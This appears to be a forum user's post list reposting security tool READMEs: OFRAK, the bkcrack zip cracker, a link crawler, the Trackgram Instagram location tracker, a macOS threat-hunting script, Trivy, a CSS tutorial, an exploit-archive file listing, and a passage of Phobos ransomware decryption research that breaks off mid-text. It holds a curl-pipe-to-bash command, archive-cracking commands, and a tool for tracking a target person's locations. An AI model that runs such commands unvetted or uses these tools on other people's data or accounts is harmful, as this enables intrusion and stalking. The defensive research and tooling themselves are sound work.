-
Posts
1026 -
Joined
-
Days Won
55
Everything posted by Kev
-
OFRAK (Open Firmware Reverse Analysis Konsole) is a binary analysis and modification platform. OFRAK combines the ability to: Identify and Unpack many binary formats Analyze unpacked binaries with field-tested reverse engineering tools Modify and Repack binaries with powerful patching strategies OFRAK supports a range of embedded firmware file formats beyond userspace executables, including: Compressed filesystems Compressed & checksummed firmware Bootloaders RTOS/OS kernels OFRAK equips users with: A Graphical User Interface (GUI) for interactive exploration and visualization of binaries A Python API for readable and reproducible scripts that can be applied to entire classes of binaries, rather than just one specific binary Recursive identification, unpacking, and repacking of many file formats, from ELF executables, to filesystem archives, to compressed and checksummed firmware formats Built-in, extensible integration with powerful analysis backends (angr, Binary Ninja, Ghidra, IDA Pro) Extensibility by design via a common interface to easily write additional OFRAK components and add support for a new file format or binary patching operation See ofrak.com for more details. GUI Frontend The web-based GUI view provides a navigable resource tree. For the selected resource, it also provides: metadata, hex or text navigation, and a mini map sidebar for quickly navigating by entropy, byteclass, or magnitude. The GUI also allows for actions normally available through the Python API like commenting, unpacking, analyzing, modifying and packing resources. Getting Started OFRAK uses Git LFS. This means that you must have Git LFS installed before you clone the repository! Install Git LFS by following the instructions here. If you accidentally cloned the repository before installing Git LFS, cd into the repository and run git lfs pull. See docs/environment-setup for detailed instructions on how to install OFRAK. Documentation OFRAK has general documentation and API documentation. Both can be viewed at ofrak.com/docs. If you wish to make changes to the documentation or serve it yourself, follow the directions in docs/README.md. License The code in this repository comes with an OFRAK Community License, which is intended for educational uses, personal development, or just having fun. Users interested in OFRAK for commercial purposes can request the Pro or Enterprise License. See OFRAK Licensing for more information. Contributing Red Balloon Security is excited for security researchers and developers to contribute to this repository. For details, please see our contributor guide and the Python development guide. Support Please contact ofrak@redballoonsecurity.com, or write to us on the OFRAK Slack with any questions or issues regarding OFRAK. We look forward to getting your feedback!! Sign up for the OFRAK Mailing List to receive monthly updates about OFRAK code improvements and new features. This material is based in part upon work supported by the DARPA under Contract No. N66001-20-C-4032. Any opinions, findings and conclusions or recommendations expressed in this material are those of the author(s) and do not necessarily reflect the views of the DARPA. Distribution Statement “A” (Approved for Public Release, Distribution Unlimited). Download: ofrak-master.zip or git clone https://github.com/redballoonsecurity/ofrak.git
-
- redballoonsecurity
- whyitfor
- (and 19 more)
-
Crack legacy zip encryption with Biham and Kocher's known plaintext attack. Overview A ZIP archive may contain many entries whose content can be compressed and/or encrypted. In particular, entries can be encrypted with a password-based symmetric encryption algorithm referred to as traditional PKWARE encryption, legacy encryption or ZipCrypto. This algorithm generates a pseudo-random stream of bytes (keystream) which is XORed to the entry's content (plaintext) to produce encrypted data (ciphertext). The generator's state, made of three 32-bits integers, is initialized using the password and then continuously updated with plaintext as encryption goes on. This encryption algorithm is vulnerable to known plaintext attacks as shown by Eli Biham and Paul C. Kocher in the research paper A known plaintext attack on the PKZIP stream cipher. Given ciphertext and 12 or more bytes of the corresponding plaintext, the internal state of the keystream generator can be recovered. This internal state is enough to decipher ciphertext entirely as well as other entries which were encrypted with the same password. It can also be used to bruteforce the password with a complexity of nl-6 where n is the size of the character set and l is the length of the password. bkcrack is a command-line tool which implements this known plaintext attack. The main features are: Recover internal state from ciphertext and plaintext. Change a ZIP archive's password using the internal state. Recover the original password from the internal state. Install Precompiled packages You can get the latest official release on GitHub. Precompiled packages for Ubuntu, MacOS and Windows are available for download. Extract the downloaded archive wherever you like. On Windows, Microsoft runtime libraries are needed for bkcrack to run. If they are not already installed on your system, download and install the latest Microsoft Visual C++ Redistributable package. Compile from source Alternatively, you can compile the project with CMake. First, download the source files or clone the git repository. Then, running the following commands in the source tree will create an installation in the install folder. cmake -S . -B build -DCMAKE_INSTALL_PREFIX=install cmake --build build --config Release cmake --build build --config Release --target install Thrid-party packages bkcrack is available in the package repositories listed on the right. Those packages are provided by external maintainers. Usage List entries You can see a list of entry names and metadata in an archive named archive.zip like this: bkcrack -L archive.zip Entries using ZipCrypto encryption are vulnerable to a known-plaintext attack. Recover internal keys The attack requires at least 12 bytes of known plaintext. At least 8 of them must be contiguous. The larger the contiguous known plaintext, the faster the attack. Load data from zip archives Having a zip archive encrypted.zip with the entry cipher being the ciphertext and plain.zip with the entry plain as the known plaintext, bkcrack can be run like this: bkcrack -C encrypted.zip -c cipher -P plain.zip -p plain Load data from files Having a file cipherfile with the ciphertext (starting with the 12 bytes corresponding to the encryption header) and plainfile with the known plaintext, bkcrack can be run like this: bkcrack -c cipherfile -p plainfile Offset If the plaintext corresponds to a part other than the beginning of the ciphertext, you can specify an offset. It can be negative if the plaintext includes a part of the encryption header. bkcrack -c cipherfile -p plainfile -o offset Sparse plaintext If you know little contiguous plaintext (between 8 and 11 bytes), but know some bytes at some other known offsets, you can provide this information to reach the requirement of a total of 12 known bytes. To do so, use the -x flag followed by an offset and bytes in hexadecimal. bkcrack -c cipherfile -p plainfile -x 25 4b4f -x 30 21 Number of threads If bkcrack was built with parallel mode enabled, the number of threads used can be set through the environment variable OMP_NUM_THREADS. Decipher If the attack is successful, the deciphered data associated to the ciphertext used for the attack can be saved: bkcrack -c cipherfile -p plainfile -d decipheredfile If the keys are known from a previous attack, it is possible to use bkcrack to decipher data: bkcrack -c cipherfile -k 12345678 23456789 34567890 -d decipheredfile Decompress The deciphered data might be compressed depending on whether compression was used or not when the zip file was created. If deflate compression was used, a Python 3 script provided in the tools folder may be used to decompress data. python3 tools/inflate.py < decipheredfile > decompressedfile Unlock encrypted archive It is also possible to generate a new encrypted archive with the password of your choice: bkcrack -C encrypted.zip -k 12345678 23456789 34567890 -U unlocked.zip password The archive generated this way can be extracted using any zip file utility with the new password. It assumes that every entry was originally encrypted with the same password. Recover password Given the internal keys, bkcrack can try to find the original password. You can look for a password up to a given length using a given character set: bkcrack -k 1ded830c 24454157 7213b8c5 -r 10 ?p You can be more specific by specifying a minimal password length: bkcrack -k 18f285c6 881f2169 b35d661d -r 11..13 ?p Learn A tutorial is provided in the example folder. For more information, have a look at the documentation and read the source. Contribute Do not hesitate to suggest improvements or submit pull requests on GitHub. License This project is provided under the terms of the zlib/png license. Download: bkcrack-master.zip or git clone https://github.com/kimci86/bkcrack.git Source
-
- 1
-
- kimci86
- magnumripper magnum
-
(and 1 more)
Tagged with:
-
URL-CRAWLER V1.0.0 URL-CRAWLER is a Python script that extracts all third-party links from a given domain. It uses the BeautifulSoup library to parse the HTML and filter out links that belong to the same domain as the original domain. Requirements To run this script, you need to have Python 3 installed on your computer, as well as the following Python libraries: argparse requests bs4 (BeautifulSoup) You can install the required libraries using pip: pip install argparse requests bs4 Usage To use extract_links.py, run the script from the command line and provide the domain you want to extract links from as a command line argument. You can also specify additional options, such as whether to show link status codes or save the links to a file. Here are some examples: # Extract links from a single domain and display them in the console python urlcrawler.py -d example.com # Extract links from a single domain and save them to a file python urlcrawler.py -d example.com -o links.txt # Extract links from multiple domains and save them to a file python urlcrawler.py -t -o links.txt # Extract links from a single domain and display their status codes in the console python urlcrawler.py -d example.com -s #For more detailed usage instructions, run the script with the -h or --help option. Author This script was created by BLACK-SCORP10. You can contact me on Telegram at https://t.me/BLACK_SCORP10 or on Instagram at @hacke_1o1. License This project is licensed under the MIT License - see the LICENSE file for details. Download: url-crawler-main.zip or git clone https://github.com/BLACK-SCORP10/url-crawler.git Mirror: import argparse import requests from bs4 import BeautifulSoup import colorama def extract_links(domain): # Add "https://" to the beginning of the domain if it does not start with "http" or "https" if not domain.startswith('http://') and not domain.startswith('https://'): domain = 'https://' + domain # Make a GET request to the domain response = requests.get(domain) html = response.text # Use BeautifulSoup to parse the HTML and extract all links soup = BeautifulSoup(html, 'html.parser') links = soup.find_all('a') # Filter the links to only include third-party domains third_party_links = [] for link in links: href = link.get('href') if href and domain not in href and (href.startswith('http://') or href.startswith('https://')): third_party_links.append(href) # Remove duplicate links third_party_links = list(set(third_party_links)) return third_party_links def main(): # Initialize colorama colorama.init() # Set up the command line argument parser parser = argparse.ArgumentParser(description=colorama.Fore.CYAN + 'Extract third party links from a domain', epilog=colorama.Fore.YELLOW + "Examples: \n1. python url-crawler.py -d example.com, \n2. python url-crawler.py -d example.com -o links.txt, \n3. python url-crawler.py -t -o links.txt", formatter_class=argparse.RawTextHelpFormatter) print(colorama.Fore.BLUE + "Made by BLACK-SCORP10") print(colorama.Fore.BLUE + "t.me/BLACK_SCORP10") print(colorama.Fore.BLUE + "Instagram: @hacke_1o1") parser.add_argument('-o', '--output', help='Output file name') parser.add_argument('-d', '--domain', help='Domain name', required=True) parser.add_argument('-t', '--multiple', help='Extract links from multiple domains', action='store_true') parser.add_argument('-s', '--status', help='Show link status code', action='store_true') args = parser.parse_args() # Print the banner #print(colorama.Fore.BLUE + "Made by BLACK-SCORP10") #print(colorama.Fore.BLUE + "Instagram: @hacke_1o1") print("\n") # Extract the links from the domain if args.multiple: # TODO: Extract links from multiple domains pass else: links = extract_links(args.domain) # Print the links or save them to a file if args.output: with open(args.output, 'w') as f: for link in links: if args.status: # Make an HTTP HEAD request to the link and get the status code try: response = requests.head(link) status_code = response.status_code f.write(f'[{status_code}] : {link}\n') except: f.write(colorama.Fore.RED + f'[err] : {link}\n') else: f.write(link + '\n') else: for link in links: if args.status: # Make an HTTP HEAD request to the link and get the status code try: response = requests.head(link) status_code = response.status_code print(colorama.Fore.GREEN + f'[{status_code}] : {link}') except: print(colorama.Fore.RED + f'[err] : {link}') else: print(link) # Reset the colorama settings colorama.deinit() if __name__ == '__main__': main() # This code is made and owned by BLACK-SCORP10. # Feel free to contact me at https://t.me/BLACK_SCORP10 Source
-
Trackgram Use Instagram location features to track an account Usage At this moment the usage of Trackgram is extremly simple: 1. Download this repository 2. Go through the instalation steps 3. Change the parameters in the tracgram main method directly: + Mandatory: - NICKNAME: your username on Instagram - PASSWORD: your instagram password - OBJECTIVE: your objective username + Optional: - path_to_csv: the path were the csv file will be stored, including the name 4. Execute it with python3 tracgram.py Installation steps Download with $ git clone https://github.com/initzerCreations/Tracgram Install dependencies using pip install -r requirements.txt Congrats! by now you should be able to run it: python3 tracgram.py Screenshots Features 1. Provides a heatmap based on the location frequency 2. Markers displayed on the heatmap indicating: Exact location name Time when relate post was made Link to Google Maps address 3. Graph relating the posts count for an specific location 4. Generate a easy to process .CSV file Download: Tracgram-main.zip or git clone https://github.com/initzerCreations/Tracgram.git Source
-
Description Bash tool used for proactive detection of malicious activity on macOS systems. I was inspired by Venator-Swift and decided to create a bash version of the tool. OneLiner command curl https://raw.githubusercontent.com/ab2pentest/MacOSThreatTrack/main/MacOSThreatTrack.sh | bash Gathered information [+] System info [+] Users list [+] Environment variables [+] Process list [+] Active network connections [+] SIP status [+] GateKeeper status [+] Zsh history [+] Bash history [+] Shell startup scripts [+] PF rules [+] Periodic scripts [+] CronJobs list [+] LaunchDaemons data [+] Kernel extensions [+] Installed applications [+] Installation history [+] Chrome extensions Todo Saving output as JSON instead of printing out the result. Download: MacOSThreatTrack-main.zip or git clone https://github.com/ab2pentest/MacOSThreatTrack.git Source
-
- 1
-
- ab2pentest
- richiercyrus
-
(and 1 more)
Tagged with:
-
Trivy (pronunciation) is a comprehensive and versatile security scanner. Trivy has scanners that look for security issues, and targets where it can find those issues. Targets (what Trivy can scan): Container Image Filesystem Git Repository (remote) Virtual Machine Image Kubernetes AWS Scanners (what Trivy can find there): OS packages and software dependencies in use (SBOM) Known vulnerabilities (CVEs) IaC issues and misconfigurations Sensitive information and secrets Software licenses To learn more, go to the Trivy homepage for feature highlights, or to the Documentation site for detailed information. Quick Start Get Trivy Trivy is available in most common distribution channels. The full list of installation options is available in the Installation page. Here are a few popular examples: brew install trivy docker run aquasec/trivy Download binary from https://github.com/aquasecurity/trivy/releases/latest/ See Installation for more Trivy is integrated with many popular platforms and applications. The complete list of integrations is available in the Ecosystem page. Here are a few popular examples: GitHub Actions Kubernetes operator VS Code plugin See Ecosystem for more General usage trivy <target> [--scanners <scanner1,scanner2>] <subject> Examples: trivy image python:3.4-alpine Result https://user-images.githubusercontent.com/1161307/171013513-95f18734-233d-45d3-aaf5-d6aec687db0e.mov trivy fs --scanners vuln,secret,config myproject/ Result https://user-images.githubusercontent.com/1161307/171013917-b1f37810-f434-465c-b01a-22de036bd9b3.mov trivy k8s --report summary cluster Result FAQ How to pronounce the name "Trivy"? tri is pronounced like trigger, vy is pronounced like envy. Trivy is an Aqua Security open source project. Learn about our open source work and portfolio here. Contact us about any matter by opening a GitHub Discussion here Download: trivy-main.zip or git clone https://github.com/aquasecurity/trivy.git Source: github.com
-
In this tutorial, you can learn to create a simple 3D Card Flip Animation using HTML and CSS. The tutorial aims to provide students and beginners with a reference for learning some CSS tricks to develop a creative user interface and functionality of a website or web application. Here, I will be providing simple web page scripts that demonstrate the creation of a card container or elements with a 3D flip animation. What is Flip Animation? Flip Animation is an animation that contains an element with a front and back face. This animation flip or rotates the element from front to back face or vice-versa. It works like turning the piece of paper or plane sheet to view the other side or the backside. This animation is useful to a website for designing card elements with contents in both the front and back faces. How to create a 3D Flip Animation using CSS? The 3D Flip Animation can be easily achieved using CSS or Cascading Stylesheet. CSS comes with multiple useful properties for creating HTML Elements more creative and interactive. Using the CSS transform, transform-style, and perspective properties, we can create a 3D Flip Animation. The transform property will be used for flipping or rotating the HTML element using either rotateX() or rotateY() values. For the transform-style, we can set the element and its container to preserve-3d which indicates that child elements should be positioned in the 3D space. The perspective property will be used to determine the distance between the element plane and the user. Check out the sample web page scripts that I provided below to have a better idea of how to create a 3D Flip Animation. Sample Web Application Here are the scripts of a simple web application page that demonstrate the creation of a simple 3D Flip Animation. The web page contains a single card with 2 faces (front and back) and has different content. The card will flip when the user will hover the card to display the design and content of the back face. HTML Here is the HTML file script of the web page which contains the HTML elements of the card. It also contains the elements used for the web page layout. Save the file as index.html. <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CSS - Card Flip Animation</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:opsz,wght,FILL,GRAD@20..48,100..700,0..1,-50..200" /> <link rel="stylesheet" href="style.css"> </head> <body> <div id="wrapper"> <div class="page-title">CSS - Card Flip Animation</div> <hr style="margin:auto; width:25px"> <div id="card-wrapper"> <div class="card"> <div class="card-front"> <div class="card-title">Hover me to read more.</div> </div> <div class="card-back"> <div class="card-title">Sample Content Title</div> <hr width="15px"> <div class="card-description">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam vestibulum, velit ac porttitor cursus, sapien enim ultrices ante, aliquam interdum risus dui vel mauris.</div> </div> </div> </div> </div> </body> </html> Kindly replace the image path used as the background of the front face of the card. Stylesheet Here's the CSS file script that contains the page elements' styles. The script is used for designing the layout of the web page and contents. It also contains the script for adding a 3D Flip Animation to the card element when the user hovers over the element. Save this file as style.css and make sure to load the file in the index file. @import url('https://fonts.googleapis.com/css2?family=Rubik&display=swap'); @import url('https://fonts.googleapis.com/css2?family=Courgette&family=Secular+One&display=swap" rel="stylesheet'); @import url('https://fonts.googleapis.com/css2?family=Satisfy&display=swap" rel="stylesheet'); :root{ --secular-font: 'Secular One', sans-serif; --satisfy-font: 'Satisfy', cursive; } *{ box-sizing: border-box; } body *{ font-family: 'Rubik', sans-serif; } /** Page Design */ body, html{ height: 100%; width: 100%; margin: 0; padding: 0; } body{ background-color: #363636; } /* Page Wrapper */ #wrapper{ width: 100%; padding: 3em 5em; } .page-title{ font-size: 2.5rem; font-weight: 500; color: #fff; letter-spacing: 3px; font-family: var(--secular-font); text-align: center; } /* Card Wrapper and containers */ #card-wrapper{ width: 100%; padding: 2em 0; } .card{ position: relative; width: 250px; height: 300px; margin:auto; display: flex; transform-style: preserve-3d; perspective: 500px; } .card .card-front, .card .card-back{ position: absolute; width: 100%; height: 100%; background:#fff; display:flex; flex-direction: column; align-items: center; justify-content: center; backface-visibility: hidden; transform-style: preserve-3d; transition: all 1s ease; border: 1px solid #a5a5a5; box-shadow: 2px 2px 6px #f1f1f140; } .card .card-front:before, .card .card-back:before{ content: ""; position:absolute; height: 2px; bottom: -27px; background: linear-gradient(95deg, transparent, #222121, transparent); box-shadow: 1px 1px 5px #1e1e1e; transition: all 1s ease-in-out; } .card .card-front:before{ width: 100%; } .card .card-back:before{ width: 0%; } .card .card-front{ /* background-image: linear-gradient(to top, #5ee7df 0%, #b490ca 100%); */ background-image: url(./bg.jpg); background-repeat: no-repeat; background-size: cover; transform: rotateY(0deg); } .card .card-front .card-title{ font-size: 1rem; letter-spacing: 4px; font-weight: 600; font-family: var(--secular-font); color: #fff; text-shadow: 1px 1px 3px #000; text-align: center; } .card .card-back{ transform: rotateY(180deg); padding: 1em; } .card .card-back .card-title{ font-size: 1.2rem; font-family: var(--satisfy-font); text-align: center; } .card .card-back .card-description { font-size: .9rem; font-family: var(--satisfy-font); text-align: center; color: #3c3c3c; letter-spacing: 1.5px; } /* Flip Animation when Card is Hover */ .card:hover .card-front{ transform: rotateY(-180deg) } .card:hover .card-front:before{ width: 0%; } .card:hover .card-back{ transform: rotateY(0deg) } .card:hover .card-back:before{ width: 100%; } Kindly replace the image path used as the background of the front face of the card. Snapshots Here are the snapshots of the sample web page using the given HTML and CSS scripts above. Card Front Face Card Back Face The Card when Flipping DEMO The following is the overall result of the scripts I provided: There you go! I have also provided the complete source code zip file that I created for the demonstration of this tutorial on this site. The zip file is free to download. Feel free to download and do some experiments to enhance your skills or design capabilities. The download button is located below this tutorial's content. That's the end of this tutorial! I hope this Creating a 3D Card Flip Animation using HTML and CSS Tutorial will help you with what you are looking for and will be useful for your current and future web application projects. Explore more on this website for more Tutorials and Free Source Codes. Happy Coding Source
-
This archive contains all of the 82 exploits added to Packet Storm in February, 2023. Directory of \2302-exploits 03/02/2023 05:20 PM <DIR> . 03/02/2023 05:20 PM <DIR> .. 02/07/2023 06:45 PM 2,617 101newsbymk10-sql.txt 02/23/2023 06:38 PM 3,253 acdme78-sqlexecxsstraversal.txt 02/24/2023 09:35 PM 4,018 adms10-escalate.txt 02/24/2023 09:43 PM 12,008 adms10-sql.txt 02/17/2023 05:40 PM 1,816 argondashboard112-sql.txt 02/16/2023 05:36 PM 1,445 atrocore1525-shell.txt 02/17/2023 06:03 PM 776 bestposms10-shell.txt 02/17/2023 05:57 PM 4,253 bestposms10-sql.txt 02/17/2023 05:59 PM 3,919 bestposms10-xss.txt 02/15/2023 08:16 PM 8,615 CDSR-20230213-0.txt 02/10/2023 05:45 PM 2,727 chikoi10-traversal.txt 02/10/2023 05:42 PM 1,582 chikoi10-xss.txt 02/28/2023 06:02 PM 1,650 churchcrm453-sql.txt 02/14/2023 05:32 PM 7,374 cisco_rv340_lan.rb.txt 02/15/2023 07:55 PM 1,872 CVE-2022-45701.py.txt 02/01/2023 07:56 PM 5,177 cve_2022_1043_io_uring_priv_esc.rb.txt 02/03/2023 04:54 PM 3,875 cve_2022_3699_lenovo_diagnostics_driver.rb.txt 02/17/2023 05:42 PM 10,352 demanzomatrimony15-xsrf.txt 02/01/2023 07:49 PM 5,605 empc17-sql.txt 02/01/2023 07:47 PM 5,347 empc17-xss.txt 02/24/2023 09:45 PM 4,424 etms10-escalate.txt 02/24/2023 09:47 PM 8,004 etms10-sql.txt 02/03/2023 04:49 PM 6,035 f5_create_user.rb.txt 02/09/2023 06:34 PM 4,495 fortra_goanywhere_rce_cve_2023_0669.rb.txt 02/23/2023 06:34 PM 10,784 froxlor_log_path_rce.rb.txt 02/15/2023 08:22 PM 8,928 gitlab_github_import_rce_cve_2022_2992.rb.txt 02/13/2023 04:59 PM 1,503 globalinfotechcms10-sql.txt 02/06/2023 06:36 PM 10,376 GS20230206163255.tgz 02/06/2023 06:45 PM 17,460 GS20230206163837.tgz 02/09/2023 06:27 PM 6,200 GS20230209162439.tgz 02/10/2023 05:26 PM 11,376 GS20230210152355.tgz 02/10/2023 05:31 PM 7,825 GS20230210152910.tgz 02/10/2023 05:34 PM 3,408 GS20230210153345.tgz 02/10/2023 05:37 PM 5,163 GS20230210153626.tgz 02/24/2023 09:49 PM 5,191 GS20230224194934.tgz 02/27/2023 05:15 PM 4,180 GS20230227151433.tgz 02/17/2023 06:26 PM 5,960 kardexmlogvcc5712-exec.txt 02/24/2023 09:28 PM 1,911 kshitish20-insecure.txt 03/02/2023 05:20 PM 0 list.txt 02/03/2023 04:51 PM 4,302 mac_dirty_cow.rb.txt 02/08/2023 06:29 PM 7,656 manageengine_adselfservice_plus_saml_rce_cve_2022_47966.rb.txt 02/09/2023 06:35 PM 8,122 manageengine_endpoint_central_saml_rce_cve_2022_47966.rb.txt 02/07/2023 07:23 PM 8,947 manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb.txt 02/07/2023 06:42 PM 1,770 materialdashboard2-sql.txt 02/28/2023 06:05 PM 1,940 mefidot22-insecure.txt 02/28/2023 06:07 PM 1,823 mefidot22-sql.txt 02/24/2023 10:45 PM 4,383 mgs10-escalate.txt 02/24/2023 10:47 PM 11,354 mgs10-sql.txt 02/10/2023 05:40 PM 1,957 Monitorrv1.7.6_RCE.py.txt 02/08/2023 06:27 PM 10,004 nagios_xi_configwizards_authenticated_rce.rb.txt 02/27/2023 05:20 PM 4,519 NWSSA-001-2023.txt 02/27/2023 05:28 PM 3,807 NWSSA-002-2023.txt 02/01/2023 07:46 PM 3,036 onlineeyewearshop10-sql.txt 02/03/2023 04:43 PM 4,456 oracle12102-escalate.txt 02/27/2023 04:38 PM 2,746 pfblockerng2146-exec.txt 02/22/2023 06:38 PM 5,216 pyload_js2py_exec.rb.txt 02/15/2023 08:29 PM 5,809 SA-20230214-0.txt 02/21/2023 06:53 PM 1,604 salestrackerssytem10-sql.txt 02/24/2023 10:51 PM 3,617 sfos10-sql.txt 02/06/2023 06:49 PM 6,665 tomcat_ubuntu_log_init_priv_esc.rb.txt 02/01/2023 07:54 PM 6,287 vmwgfx_fd_priv_esc.rb.txt 02/10/2023 05:32 PM 9,045 weby125-xsrf.txt 02/15/2023 08:25 PM 2,873 wpqsm808-delete.txt 02/15/2023 08:27 PM 2,669 wpqsm808-xsrf.txt 02/28/2023 07:00 PM 5,384 wprealestate7theme334-abuse.txt 02/28/2023 07:07 PM 18,593 wprealestate7theme334-xsrf.txt 02/28/2023 07:20 PM 3,335 wprealestate7theme334-xss.txt 02/28/2023 06:46 PM 3,967 wpwoodmarttheme710-inject.txt 02/28/2023 07:24 PM 4,960 wpwoodmarttheme711-xsrf.txt 02/14/2023 05:24 PM 8,712 xworm21-dos.txt 02/23/2023 06:27 PM 4,565 ycrs10-sql.txt 02/17/2023 05:46 PM 1,984 zabbix627-escalate.txt 02/09/2023 06:41 PM 22,748 ZSL-2023-5744.txt 02/28/2023 06:55 PM 4,746 ZSL-2023-5745.txt 02/28/2023 07:03 PM 3,709 ZSL-2023-5746.txt 02/28/2023 07:04 PM 4,202 ZSL-2023-5747.txt 02/28/2023 07:10 PM 3,600 ZSL-2023-5748.txt 02/28/2023 07:12 PM 3,486 ZSL-2023-5749.txt 02/28/2023 07:15 PM 3,701 ZSL-2023-5750.txt 02/28/2023 07:16 PM 3,458 ZSL-2023-5751.txt 02/28/2023 07:18 PM 6,075 ZSL-2023-5752.txt 02/28/2023 07:22 PM 4,896 ZSL-2023-5753.txt 02/28/2023 07:28 PM 11,942 ZSL-2023-5754.txt Download: 202302-exploits.tgz (186.5 KB) Source
-
- 1
-
Abstract: For the past two years we've been tinkering with a proof-of-concept decryptor for the Phobos family ransomware. It works, but is impractical to use for reasons we'll explain here. Consequently, we've been unable to use it to help a real-world victim so far. We've decided to publish our findings and tools, in hope that someone will find it useful, interesting or will continue our research. We will describe the vulnerability, and how we improved our decryptor computational complexity and performance to reach an almost practical implementation. The resulting proof of concept is available at CERT-Polska/phobos-cuda-decryptor-poc. When, what and why Phobos is the innermost and larger of the two natural satellites of Mars, with the other being Deimos. However, it's also a widespread ransomware family that was first observed in the early 2019. Not a very interesting one – it shares many similarities with Dharma and was probably written by the same authors. There is nothing obviously interesting about Phobos (the ransomware) – no significant innovations or interesting features. We've started our research after a few significant Polish organizations were encrypted by Phobos in a short period of time. After that it has become clear, that the Phobos' key schedule function is unusual, and one could even say – broken. This prompted us to do further research, in hope of creating a decryptor. But let's not get ahead of ourselves. Reverse Engineering Let's skip the boring details that are the same for every ransomware (anti-debug features, deletion of shadow copies, main disk traversal function, etc). The most interesting function for us right now is the key schedule: The curious part is that, instead of using one good entropy source, malware author decided to use multiple bad ones. They include: Two calls to QueryPerformanceCounter() GetLocalTime() + SystemTimeToFileTime() GetTickCount() GetCurrentProcessId() GetCurrentThreadId() Finally, a variable but deterministic number of SHA-256 rounds is applied. On average, to check a key we need 256 SHA-256 executions and a single AES decryption. This immediately sounded multiple alarms in our heads. Assuming we know the time of the infection with 1 second precision (for example, using file timestamps, or logs), the number of operations needed to brute-force each component is: It's obvious, that every component can be brute-forced independently (10**7 is not that much for modern computers). But can we recover the whole key? Assumptions, assumptions (how many keys do we actually need to check?) Initial status (141 bits of entropy) But by a simple multiplication, number of keys for a naïve brute-force attack is: >>> 10**7 * 10**7 * 10**3 * 10**5 * 2**30 * 2**30 * 256 2951479051793528258560000000000000000000000 >>> log(10**7 * 10**7 * 10**3 * 10**5 * 2**30 * 2**30 * 256, 2) 141.08241808752197 # that's a 141-bit number This is... obviously a huge, incomprehensibly large number. No slightest chance to brute-force that. But we're not ones to give up easily. Let's keep thinking about that. May I have your PID, please? (81 bits of entropy) Let's start with some assumptions. We already made one: thanks to system/file logs we know the time with 1 second precision. One such source can be the Windows event logs: By default there is no event that triggers for every new process, but with enough forensics analysis it's often possible to recover PID and TID of the ransomware process. Even if it's not possible, it's almost always possible to restrict them by a significant amount, because Windows PIDs are sequential. So we won't usually have to brute-force full 2**30 key space. For the sake of this blog post, let's assume that we already know PID and TID (of main thread) of the ransomware process. Don't worry, this is the biggest hand-wave in this whole article. Does it make our situation better at least? >>> log(10**7 * 10**7 * 10**3 * 10**5 * 256, 2) 81.08241808752197 81 bits of entropy is still way too much to think about brute-forcing, but we're getting somewhere. Δt = t1 - t0 (67 bits of entropy) Another assumption that we can reasonably make, is that two sequential QueryPerformanceCounter calls will return similar results. Specifically, second QueryPerformanceCounter will always be a bit larger than the first one. There's no need to do a complete brute-force of both counters – we can brute-force the first one, and then guess the time that passed between the executions. Using code as an example, instead of: for qpc1 in range(10**7): for qpc2 in range(10**7): check(qpc1, qpc2) We can do: for qpc1 in range(10**7): for qpc_delta in range(10**3): check(qpc1, qpc1 + qpc_delta) 10**3 was determined to be enough empirically. It should be enough in most cases, though it's just 1ms, and so it will fail in an event of a very unlucky context switch. Let's try though: >>> log(10**7 * 10**3 * 10**3 * 10**5 * 256, 2) 67.79470570797253 Who needs precise time, anyway? (61 bits of entropy) 2**67 sha256 invocations is still a lot, but it's getting manageable. For example, this is coincidentally almost exactly the current BTC hash rate. This means, if the whole BTC network was repurposed to decrypting Phobos victims instead of pointlessly burning electricity, it would decrypt one victim per second1. Time for a final observation: SystemTimeToFileTime may have a precision equal to 10 microseconds. But GetLocalTime does not: This means that we only need to brute-force 10**3 options, instead of 10**5: >>> log(10**7 * 10**3 * 10**3 * 10**3 * 256, 2) 61.150849518197795 Math time (51 bits of entropy) There are no more obvious things to optimize. Maybe we can find a better algorithm somewhere? Observe that key[0] is equal to GetTickCount() ^ QueryPerformanceCounter().Low. Naive brute-force algorithm will check all possible values for both components, but in most situations we can do much better. For example, 4 ^ 0 == 5 ^ 1 == 6 ^ 2 = ... == 4. We only care about the final result, so we can ignore timer values that end up as the same key. Simple way to do this looks like this: def ranges(fst, snd): s0, s1 = fst e0, e1 = snd out = set() for i in range(s0, s1 + 1): for j in range(e0, e1 + 1): out.add(i ^ j) return out Unfortunately, this was quite CPU intensive (remember, we want to squeeze as much performance as possible). It turns out that there is a better recursive algorithm, that avoids spending time on duplicates. Downside is, it's quite subtle and not very elegant: uint64_t fillr(uint64_t x) { uint64_t r = x; while (x) { r = x - 1; x &= r; } return r; } uint64_t sigma(uint64_t a, uint64_t b) { return a | b | fillr(a & b); } void merge_xors( uint64_t s0, uint64_t e0, uint64_t s1, uint64_t e1, int64_t bit, uint64_t prefix, std::vector<uint32_t> *out ) { if (bit < 0) { out->push_back(prefix); return; } uint64_t mask = 1ULL << bit; uint64_t o = mask - 1ULL; bool t0 = (s0 & mask) != (e0 & mask); bool t1 = (s1 & mask) != (e1 & mask); bool b0 = (s0 & mask) ? 1 : 0; bool b1 = (s1 & mask) ? 1 : 0; s0 &= o; e0 &= o; s1 &= o; e1 &= o; if (t0) { if (t1) { uint64_t mx_ac = sigma(s0 ^ o, s1 ^ o); uint64_t mx_bd = sigma(e0, e1); uint64_t mx_da = sigma(e1, s0 ^ o); uint64_t mx_bc = sigma(e0, s1 ^ o); for (uint64_t i = 0; i < std::max(mx_ac, mx_bd) + 1; i++) { out->push_back((prefix << (bit+1)) + i); } for (uint64_t i = (1UL << bit) + std::min(mx_da^o, mx_bc^o); i < (2UL << bit); i++) { out->push_back((prefix << (bit+1)) + i); } } else { merge_xors(s0, mask - 1, s1, e1, bit-1, (prefix << 1) ^ b1, out); merge_xors(0, e0, s1, e1, bit-1, (prefix << 1) ^ b1 ^ 1, out); } } else { if (t1) { merge_xors(s0, e0, s1, mask - 1, bit-1, (prefix << 1) ^ b0, out); merge_xors(s0, e0, 0, e1, bit-1, (prefix << 1) ^ b0 ^ 1, out); } else { merge_xors(s0, e0, s1, e1, bit-1, (prefix << 1) ^ b0 ^ b1, out); } } } It's possible that there exists a simpler or faster algorithm for this problem, but authors 